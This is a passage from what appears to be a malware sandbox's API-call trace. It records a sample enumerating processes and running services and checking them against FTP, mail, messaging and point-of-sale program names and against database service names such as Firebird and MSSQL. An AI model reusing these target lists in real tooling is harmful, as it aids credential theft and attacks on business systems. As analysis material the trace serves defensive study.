cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0073.047] lstrlenW (lpString="3dftp.exe") returned 9 [0073.047] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0073.048] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0073.048] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0073.049] lstrlenW (lpString="alftp.exe") returned 9 [0073.049] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0073.050] lstrlenW (lpString="barca.exe") returned 9 [0073.050] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0073.050] lstrlenW (lpString="bitkinex.exe") returned 12 [0073.050] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0073.051] lstrlenW (lpString="coreftp.exe") returned 11 [0073.051] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0073.052] lstrlenW (lpString="far.exe") returned 7 [0073.052] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0073.053] lstrlenW (lpString="filezilla.exe") returned 13 [0073.053] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0073.757] lstrlenW (lpString="flashfxp.exe") returned 12 [0073.757] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0073.758] lstrlenW (lpString="fling.exe") returned 9 [0073.758] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0073.759] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0073.759] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0073.760] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0073.760] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0073.761] lstrlenW (lpString="icq.exe") returned 7 [0073.761] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0073.762] lstrlenW (lpString="leechftp.exe") returned 12 [0073.762] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0073.763] lstrlenW (lpString="ncftp.exe") returned 9 [0073.763] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0073.764] lstrlenW (lpString="notepad.exe") returned 11 [0073.764] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0073.765] lstrlenW (lpString="operamail.exe") returned 13 [0073.765] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0073.765] lstrlenW (lpString="pidgin.exe") returned 10 [0073.765] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0073.766] lstrlenW (lpString="scriptftp.exe") returned 13 [0073.766] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0073.767] lstrlenW (lpString="skype.exe") returned 9 [0073.767] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0073.768] lstrlenW (lpString="smartftp.exe") returned 12 [0073.768] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0073.769] lstrlenW (lpString="thunderbird.exe") returned 15 [0073.769] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0073.770] lstrlenW (lpString="totalcmd.exe") returned 12 [0073.770] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0073.770] lstrlenW (lpString="trillian.exe") returned 12 [0073.771] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0073.771] lstrlenW (lpString="webdrive.exe") returned 12 [0073.771] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0073.772] lstrlenW (lpString="whatsapp.exe") returned 12 [0073.772] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0073.783] lstrlenW (lpString="winscp.exe") returned 10 [0073.783] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0073.784] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0073.784] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0073.785] lstrlenW (lpString="active-charge.exe") returned 17 [0073.785] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0073.786] lstrlenW (lpString="accupos.exe") returned 11 [0073.786] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0073.786] lstrlenW (lpString="afr38.exe") returned 9 [0073.786] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0073.787] lstrlenW (lpString="aldelo.exe") returned 10 [0073.787] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0073.788] lstrlenW (lpString="ccv_server.exe") returned 14 [0073.788] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0073.789] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0073.789] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0073.790] lstrlenW (lpString="creditservice.exe") returned 17 [0073.790] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0073.791] lstrlenW (lpString="edcsvr.exe") returned 10 [0073.791] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0073.791] lstrlenW (lpString="fpos.exe") returned 8 [0073.791] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0073.792] lstrlenW (lpString="isspos.exe") returned 10 [0073.792] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0073.793] lstrlenW (lpString="mxslipstream.exe") returned 16 [0073.793] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0073.793] lstrlenW (lpString="omnipos.exe") returned 11 [0073.794] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0073.794] lstrlenW (lpString="spcwin.exe") returned 10 [0073.794] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0073.795] lstrlenW (lpString="spgagentservice.exe") returned 19 [0073.795] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0073.796] lstrlenW (lpString="utg2.exe") returned 8 [0073.796] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0073.796] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0073.796] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0073.797] lstrlenW (lpString="glow be.exe") returned 11 [0073.797] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0073.798] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0073.798] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0073.798] lstrlenW (lpString="contains roles was.exe") returned 22 [0073.798] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.799] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0073.799] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0073.800] lstrlenW (lpString="taskhostw.exe") returned 13 [0073.800] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0073.800] lstrlenW (lpString="taskhostw.exe") returned 13 [0073.800] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0073.801] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0073.801] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0073.802] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0073.802] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1 [0073.802] lstrlenW (lpString="sc.exe") returned 6 [0073.802] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0073.803] lstrlenW (lpString="UsoClient.exe") returned 13 [0073.803] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0073.804] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0073.804] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.238] lstrlenW (lpString="conhost.exe") returned 11 [0074.238] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1204, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.239] lstrlenW (lpString="conhost.exe") returned 11 [0074.239] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.240] lstrlenW (lpString="conhost.exe") returned 11 [0074.240] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.242] lstrlenW (lpString="svchost.exe") returned 11 [0074.242] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0074.243] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0074.243] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.243] lstrlenW (lpString="svchost.exe") returned 11 [0074.243] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.244] lstrlenW (lpString="cmd.exe") returned 7 [0074.244] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.244] lstrlenW (lpString="conhost.exe") returned 11 [0074.244] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0074.245] CloseHandle (hObject=0x38c) returned 1 [0074.245] Sleep (dwMilliseconds=0x1f4) [0075.151] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4cef40 [0075.152] EnumServicesStatusExW (in: hSCManager=0x4cef40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0075.152] GetLastError () returned 0xea [0075.152] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x4f1b60 [0075.152] EnumServicesStatusExW (in: hSCManager=0x4cef40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f1b60, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f1b60, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0075.153] CloseServiceHandle (hSCObject=0x4cef40) returned 1 [0075.153] lstrlenW (lpString="Appinfo") returned 7 [0075.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0075.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0075.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0075.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0075.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0075.154] lstrlenW (lpString="AppXSvc") returned 7 [0075.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0075.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0075.154] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0075.154] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0075.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0075.154] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0075.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0075.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0075.154] lstrcmpiW (lpString1="sqlwriter", 